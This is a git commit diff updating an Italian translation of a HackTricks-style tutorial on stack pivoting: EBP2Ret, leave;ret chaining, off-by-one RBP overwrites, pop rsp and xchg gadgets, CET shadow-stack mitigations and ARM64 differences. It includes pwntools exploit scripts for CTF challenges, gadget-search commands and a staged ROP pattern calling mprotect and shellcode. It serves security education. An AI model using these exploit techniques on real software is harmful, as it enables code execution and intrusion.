Translated ['src/binary-exploitation/stack-overflow/stack-pivoting-ebp2r

This commit is contained in:
Translator 2025-08-18 16:16:39 +00:00
parent 73468c61a7
commit 8699af5817

View File

@ -4,59 +4,63 @@
## Informazioni di base
Questa tecnica sfrutta la capacità di manipolare il **Base Pointer (EBP)** per concatenare l'esecuzione di più funzioni attraverso un uso attento del registro EBP e della sequenza di istruzioni **`leave; ret`**.
Questa tecnica sfrutta la capacità di manipolare il **Base Pointer (EBP/RBP)** per concatenare l'esecuzione di più funzioni attraverso un uso attento del frame pointer e della sequenza di istruzioni **`leave; ret`**.
Come promemoria, **`leave`** significa fondamentalmente:
Come promemoria, su x86/x86-64 **`leave`** è equivalente a:
```
mov ebp, esp
pop ebp
mov rsp, rbp ; mov esp, ebp on x86
pop rbp ; pop ebp on x86
ret
```
E come se l'**EBP è nello stack** prima dell'EIP, è possibile controllarlo controllando lo stack.
E come il **EBP/RBP salvato è nello stack** prima dell'EIP/RIP salvato, è possibile controllarlo controllando lo stack.
> Note
> - Su 64 bit, sostituire EBP→RBP e ESP→RSP. La semantica è la stessa.
> - Alcuni compilatori omettono il puntatore di frame (vedi “EBP potrebbe non essere utilizzato”). In tal caso, `leave` potrebbe non apparire e questa tecnica non funzionerà.
### EBP2Ret
Questa tecnica è particolarmente utile quando puoi **modificare il registro EBP ma non hai un modo diretto per cambiare il registro EIP**. Sfrutta il comportamento delle funzioni quando terminano l'esecuzione.
Questa tecnica è particolarmente utile quando puoi **modificare l'EBP/RBP salvato ma non hai un modo diretto per cambiare EIP/RIP**. Sfrutta il comportamento dell'epilogo della funzione.
Se, durante l'esecuzione di `fvuln`, riesci a iniettare un **fake EBP** nello stack che punta a un'area della memoria dove si trova l'indirizzo del tuo shellcode (più 4 byte per tenere conto dell'operazione `pop`), puoi controllare indirettamente l'EIP. Quando `fvuln` restituisce, l'ESP è impostato su questa posizione creata, e l'operazione `pop` successiva diminuisce l'ESP di 4, **facendolo puntare effettivamente a un indirizzo memorizzato dall'attaccante lì.**\
Nota come **devi conoscere 2 indirizzi**: Quello dove andrà l'ESP, dove dovrai scrivere l'indirizzo a cui punta l'ESP.
Se, durante l'esecuzione di `fvuln`, riesci a iniettare un **fake EBP** nello stack che punta a un'area della memoria dove si trova l'indirizzo del tuo shellcode/ROP chain (più 8 byte su amd64 / 4 byte su x86 per tenere conto del `pop`), puoi controllare indirettamente RIP. Quando la funzione restituisce, `leave` imposta RSP sulla posizione creata e il successivo `pop rbp` diminuisce RSP, **facendo effettivamente puntare a un indirizzo memorizzato dall'attaccante lì**. Poi `ret` utilizzerà quell'indirizzo.
Nota come **devi conoscere 2 indirizzi**: l'indirizzo dove andrà ESP/RSP e il valore memorizzato a quell'indirizzo che `ret` consumerà.
#### Costruzione dell'Exploit
Prima devi conoscere un **indirizzo dove puoi scrivere dati / indirizzi arbitrari**. L'ESP punterà qui e **eseguirà il primo `ret`**.
Prima devi conoscere un **indirizzo dove puoi scrivere dati/indirizzi arbitrari**. RSP punterà qui e **consumerà il primo `ret`**.
Poi, devi conoscere l'indirizzo utilizzato da `ret` che **eseguirà codice arbitrario**. Potresti usare:
Poi, devi scegliere l'indirizzo utilizzato da `ret` che **trasferirà l'esecuzione**. Potresti usare:
- Un indirizzo valido [**ONE_GADGET**](https://github.com/david942j/one_gadget).
- L'indirizzo di **`system()`** seguito da **4 byte spazzatura** e l'indirizzo di `"/bin/sh"` (x86 bits).
- L'indirizzo di un gadget **`jump esp;`** ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) seguito dal **shellcode** da eseguire.
- Alcuna catena [**ROP**](../rop-return-oriented-programing/index.html)
- Un valido [**ONE_GADGET**](https://github.com/david942j/one_gadget) indirizzo.
- L'indirizzo di **`system()`** seguito dal ritorno e dagli argomenti appropriati (su x86: `ret` target = `&system`, poi 4 byte spazzatura, poi `&"/bin/sh"`).
- L'indirizzo di un gadget **`jmp esp;`** ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) seguito da shellcode inline.
- Una catena [**ROP**](../rop-return-oriented-programing/index.html) in memoria scrivibile.
Ricorda che prima di qualsiasi di questi indirizzi nella parte controllata della memoria, devono esserci **`4` byte** a causa della parte **`pop`** dell'istruzione `leave`. Sarebbe possibile abusare di questi 4B per impostare un **secondo fake EBP** e continuare a controllare l'esecuzione.
Ricorda che prima di qualsiasi di questi indirizzi nell'area controllata, deve esserci **spazio per il `pop ebp/rbp`** da `leave` (8B su amd64, 4B su x86). Puoi abusare di questi byte per impostare un **secondo fake EBP** e mantenere il controllo dopo che la prima chiamata restituisce.
#### Off-By-One Exploit
#### Exploit Off-By-One
C'è una variante specifica di questa tecnica nota come "Off-By-One Exploit". Viene utilizzata quando puoi **modificare solo il byte meno significativo dell'EBP**. In tal caso, la posizione di memoria che memorizza l'indirizzo a cui saltare con il **`ret`** deve condividere i primi tre byte con l'EBP, consentendo una manipolazione simile con condizioni più vincolate.\
Di solito viene modificato il byte 0x00 per saltare il più lontano possibile.
C'è una variante utilizzata quando puoi **modificare solo il byte meno significativo dell'EBP/RBP salvato**. In tal caso, la posizione di memoria che memorizza l'indirizzo a cui saltare con **`ret`** deve condividere i primi tre/cinque byte con l'EBP/RBP originale in modo che un sovrascrittura di 1 byte possa reindirizzarlo. Di solito, il byte basso (offset 0x00) viene aumentato per saltare il più lontano possibile all'interno di una pagina/regione allineata vicina.
Inoltre, è comune utilizzare un RET sled nello stack e mettere la vera catena ROP alla fine per rendere più probabile che il nuovo ESP punti all'interno del RET SLED e che la catena ROP finale venga eseguita.
È anche comune utilizzare un RET sled nello stack e mettere la vera catena ROP alla fine per rendere più probabile che il nuovo RSP punti all'interno dello sled e che la catena ROP finale venga eseguita.
### **EBP Chaining**
### EBP Chaining
Pertanto, mettendo un indirizzo controllato nell'entrata `EBP` dello stack e un indirizzo per `leave; ret` in `EIP`, è possibile **spostare l'`ESP` all'indirizzo `EBP` controllato dallo stack**.
Posizionando un indirizzo controllato nello slot `EBP` salvato dello stack e un gadget `leave; ret` in `EIP/RIP`, è possibile **spostare `ESP/RSP` a un indirizzo controllato dall'attaccante**.
Ora, l'**`ESP`** è controllato puntando a un indirizzo desiderato e la prossima istruzione da eseguire è un `RET`. Per abusare di questo, è possibile posizionare nel posto controllato dell'ESP questo:
Ora `RSP` è controllato e la prossima istruzione è `ret`. Posiziona nella memoria controllata qualcosa come:
- **`&(next fake EBP)`** -> Carica il nuovo EBP a causa di `pop ebp` dall'istruzione `leave`
- **`system()`** -> Chiamato da `ret`
- **`&(leave;ret)`** -> Chiamato dopo che il sistema termina, sposterà l'ESP al fake EBP e ricomincerà
- **`&("/bin/sh")`**-> Parametro per `system`
- `&(next fake EBP)` -> Caricato da `pop ebp/rbp` da `leave`.
- `&system()` -> Chiamato da `ret`.
- `&(leave;ret)` -> Dopo che `system` termina, sposta RSP al prossimo fake EBP e continua.
- `&("/bin/sh")` -> Argomento per `system`.
Fondamentalmente in questo modo è possibile concatenare diversi fake EBP per controllare il flusso del programma.
In questo modo è possibile concatenare diversi fake EBP per controllare il flusso del programma.
Questo è simile a un [ret2lib](../rop-return-oriented-programing/ret2lib/index.html), ma più complesso senza apparenti vantaggi ma potrebbe essere interessante in alcuni casi limite.
Questo è simile a un [ret2lib](../rop-return-oriented-programing/ret2lib/index.html), ma più complesso e utile solo in casi limite.
Inoltre, qui hai un [**esempio di una sfida**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) che utilizza questa tecnica con una **stack leak** per chiamare una funzione vincente. Questo è il payload finale dalla pagina:
Inoltre, qui hai un [**esempio di una sfida**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) che utilizza questa tecnica con un **leak dello stack** per chiamare una funzione vincente. Questo è il payload finale dalla pagina:
```python
from pwn import *
@ -72,7 +76,7 @@ POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of anoter fake RBP)
0x0, # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
@ -81,23 +85,24 @@ POP_RSI_R15,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP)
payload = payload.ljust(96, b'A') # pad to 96 (reach saved RBP)
payload += flat(
buffer, # Load leak address in RBP
LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it
buffer, # Load leaked address in RBP
LEAVE_RET # Use leave to move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
```
> consiglio di allineamento amd64: il System V ABI richiede un allineamento dello stack a 16 byte nei punti di chiamata. Se la tua catena chiama funzioni come `system`, aggiungi un gadget di allineamento (ad es., `ret`, o `sub rsp, 8 ; ret`) prima della chiamata per mantenere l'allineamento ed evitare crash di `movaps`.
## EBP potrebbe non essere utilizzato
As [**explained in this post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), se un binario è compilato con alcune ottimizzazioni, il **EBP non controlla mai ESP**, quindi, qualsiasi exploit che funziona controllando EBP fallirà fondamentalmente perché non ha alcun effetto reale.\
Questo è dovuto al fatto che i **prologhi ed epiloghi cambiano** se il binario è ottimizzato.
Come [**spiegato in questo post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), se un binario è compilato con alcune ottimizzazioni o con omissione del puntatore di frame, l'**EBP/RBP non controlla mai ESP/RSP**. Pertanto, qualsiasi exploit che funziona controllando EBP/RBP fallirà perché il prologo/epilogo non ripristina dal puntatore di frame.
- **Non ottimizzato:**
- Non ottimizzato / puntatore di frame utilizzato:
```bash
push %ebp # save ebp
mov %esp,%ebp # set new ebp
@ -108,22 +113,24 @@ sub $0x100,%esp # increase stack size
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
```
- **Ottimizzato:**
- Ottimizzato / puntatore del frame omesso:
```bash
push %ebx # save ebx
push %ebx # save callee-saved register
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore ebx
pop %ebx # restore
ret # return
```
Su amd64 vedrai spesso `pop rbp ; ret` invece di `leave ; ret`, ma se il puntatore di frame è completamente omesso, allora non c'è un epilogo basato su `rbp` attraverso cui effettuare il pivot.
## Altri modi per controllare RSP
### **`pop rsp`** gadget
### Gadget `pop rsp`
[**In questa pagina**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) puoi trovare un esempio che utilizza questa tecnica. Per questa sfida era necessario chiamare una funzione con 2 argomenti specifici, e c'era un **`pop rsp` gadget** e c'era una **leak dallo stack**:
[**In questa pagina**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) puoi trovare un esempio che utilizza questa tecnica. Per quella sfida era necessario chiamare una funzione con 2 argomenti specifici, e c'era un **gadget `pop rsp`** e c'era una **leak dallo stack**:
```python
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
@ -167,7 +174,7 @@ pause()
p.sendline(payload)
print(p.recvline())
```
### xchg \<reg>, rsp gadget
### xchg <reg>, rsp gadget
```
pop <reg> <=== return pointer
<reg value>
@ -181,18 +188,65 @@ Controlla la tecnica ret2esp qui:
../rop-return-oriented-programing/ret2esp-ret2reg.md
{{#endref}}
## Riferimenti e Altri Esempi
### Trovare rapidamente gadget di pivot
- [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
- [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html)
- 64 bit, sfruttamento off by one con una catena rop che inizia con un ret sled
- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
- 64 bit, no relro, canary, nx e pie. Il programma concede una leak per stack o pie e un WWW di un qword. Prima ottieni la leak dello stack e usa il WWW per tornare e ottenere la leak del pie. Poi usa il WWW per creare un ciclo eterno abusando delle voci di `.fini_array` + chiamando `__libc_csu_fini` ([maggiori informazioni qui](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Abusando di questo "scrittura eterna", viene scritta una catena ROP nella .bss e si finisce per chiamarla pivotando con RBP.
Usa il tuo cercatore di gadget preferito per cercare classici primitivi di pivot:
- `leave ; ret` su funzioni o in librerie
- `pop rsp` / `xchg rax, rsp ; ret`
- `add rsp, <imm> ; ret` (o `add esp, <imm> ; ret` su x86)
Esempi:
```bash
# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"
# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"
```
### Classic pivot staging pattern
Una robusta strategia di pivot utilizzata in molti CTF/exploits:
1) Utilizzare un piccolo overflow iniziale per chiamare `read`/`recv` in una grande area scrivibile (ad es., `.bss`, heap o memoria RW mappata) e posizionare lì una catena ROP completa.
2) Ritornare in un gadget di pivot (`leave ; ret`, `pop rsp`, `xchg rax, rsp ; ret`) per spostare RSP in quella regione.
3) Continuare con la catena preparata (ad es., leak libc, chiamare `mprotect`, poi `read` shellcode, poi saltare a essa).
## Modern mitigations that break stack pivoting (CET/Shadow Stack)
I moderni CPU e OS x86 implementano sempre più **CET Shadow Stack (SHSTK)**. Con SHSTK abilitato, `ret` confronta l'indirizzo di ritorno nello stack normale con uno stack shadow protetto dall'hardware; qualsiasi discrepanza solleva un errore di Control-Protection e termina il processo. Pertanto, tecniche come EBP2Ret/leave;ret-based pivots si bloccheranno non appena il primo `ret` viene eseguito da uno stack pivotato.
- Per informazioni di base e dettagli più approfonditi vedere:
{{#ref}}
../common-binary-protections-and-bypasses/cet-and-shadow-stack.md
{{#endref}}
- Controlli rapidi su Linux:
```bash
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'
# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo
# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wrss)
# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
```
- Note per laboratori/CTF:
- Alcune distribuzioni moderne abilitano SHSTK per i binari abilitati CET quando è presente supporto hardware e glibc. Per test controllati in VM, SHSTK può essere disabilitato a livello di sistema tramite il parametro di avvio del kernel `nousershstk`, o abilitato selettivamente tramite le impostazioni di glibc durante l'avvio (vedi riferimenti). Non disabilitare le mitigazioni su obiettivi di produzione.
- Le tecniche basate su JOP/COOP o SROP potrebbero ancora essere valide su alcuni obiettivi, ma SHSTK rompe specificamente i pivot basati su `ret`.
- Nota su Windows: Windows 10+ espone la modalità utente e Windows 11 aggiunge la “Protezione dello Stack Forzata dall'Hardware” in modalità kernel basata su stack shadow. I processi compatibili con CET impediscono il pivoting dello stack/ROP a `ret`; gli sviluppatori devono optare per CETCOMPAT e politiche correlate (vedi riferimento).
## ARM64
In ARM64, i **prologhi e gli epiloghi** delle funzioni **non memorizzano e recuperano il registro SP** nello stack. Inoltre, l'istruzione **`RET`** non restituisce all'indirizzo puntato da SP, ma **all'indirizzo dentro `x30`**.
In ARM64, i **prologhi e gli epiloghi** delle funzioni **non memorizzano e recuperano il registro SP** nello stack. Inoltre, l'istruzione **`RET`** non restituisce all'indirizzo puntato da SP, ma **all'indirizzo all'interno di `x30`**.
Pertanto, per impostazione predefinita, abusando semplicemente dell'epilogo **non sarai in grado di controllare il registro SP** sovrascrivendo alcuni dati all'interno dello stack. E anche se riesci a controllare lo SP, avresti comunque bisogno di un modo per **controllare il registro `x30`**.
@ -213,7 +267,7 @@ ret
```
> [!CAUTION]
> Il modo per eseguire qualcosa di simile al pivoting dello stack in ARM64 sarebbe essere in grado di **controllare lo `SP`** (controllando qualche registro il cui valore viene passato a `SP` o perché per qualche motivo `SP` sta prendendo il suo indirizzo dallo stack e abbiamo un overflow) e poi **abusare dell'epilogo** per caricare il registro **`x30`** da un **`SP` controllato** e **`RET`** a esso.
> Il modo per eseguire qualcosa di simile al pivoting dello stack in ARM64 sarebbe essere in grado di **controllare lo `SP`** (controllando qualche registro il cui valore viene passato a `SP` o perché per qualche motivo `SP` sta prendendo il suo indirizzo dallo stack e abbiamo un overflow) e poi **abusare dell'epilogo** per caricare il registro **`x30`** da uno **`SP`** controllato e **`RET`** a esso.
Inoltre, nella pagina seguente puoi vedere l'equivalente di **Ret2esp in ARM64**:
@ -221,4 +275,15 @@ Inoltre, nella pagina seguente puoi vedere l'equivalente di **Ret2esp in ARM64**
../rop-return-oriented-programing/ret2esp-ret2reg.md
{{#endref}}
## Riferimenti
- [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
- [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html)
- 64 bit, sfruttamento off by one con una catena rop che inizia con un ret sled
- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
- 64 bit, senza relro, canary, nx e pie. Il programma concede una leak per stack o pie e un WWW di un qword. Prima ottieni la leak dello stack e usa il WWW per tornare e ottenere la leak del pie. Poi usa il WWW per creare un ciclo eterno abusando delle voci di `.fini_array` + chiamando `__libc_csu_fini` ([maggiori informazioni qui](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Abusando di questa scrittura "eterna", viene scritta una catena ROP nella .bss e si finisce per chiamarla pivotando con RBP.
- Documentazione del kernel Linux: Control-flow Enforcement Technology (CET) Shadow Stack — dettagli su SHSTK, `nousershstk`, flag di `/proc/$PID/status`, e abilitazione tramite `arch_prctl`. https://www.kernel.org/doc/html/next/x86/shstk.html
- Microsoft Learn: Protezione dello Stack Forzata dall'Hardware in Modalità Kernel (stack shadow CET su Windows). https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection
{{#include ../../banners/hacktricks-training.md}}